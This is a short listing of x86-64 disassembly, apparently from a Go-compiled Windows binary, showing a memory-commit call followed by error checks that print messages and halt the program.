mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004351c0
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x416eeb
jmp 0x416ed6
call fcn.00468a60
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x417000
nop dword [rax + rax]
call fcn.004393c0
lea rax, [0x005468be]
mov ebx, 0x19
call fcn.00439c40
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.00439980
lea rax, [0x005468a5]
mov ebx, 0x19
call fcn.00439c40
mov eax, dword [rsp + 0x34]
call fcn.00439980
nop
call fcn.00439600
call fcn.00439420
lea rax, [0x00543587]
mov ebx, 0xd
call fcn.00437920
nop dword [rax + rax]
cmp eax, 0x5af
je 0x416fa0
call fcn.004393c0
lea rax, [0x005468be]
mov ebx, 0x19
call fcn.00439c40
mov rax, qword [rsp + 0x38]
call fcn.00439980
lea rax, [0x005468a5]
mov ebx, 0x19
call fcn.00439c40
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00439980
call fcn.00439600
call fcn.00439420
lea rax, [0x00548150]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00437920
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004652e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00416e40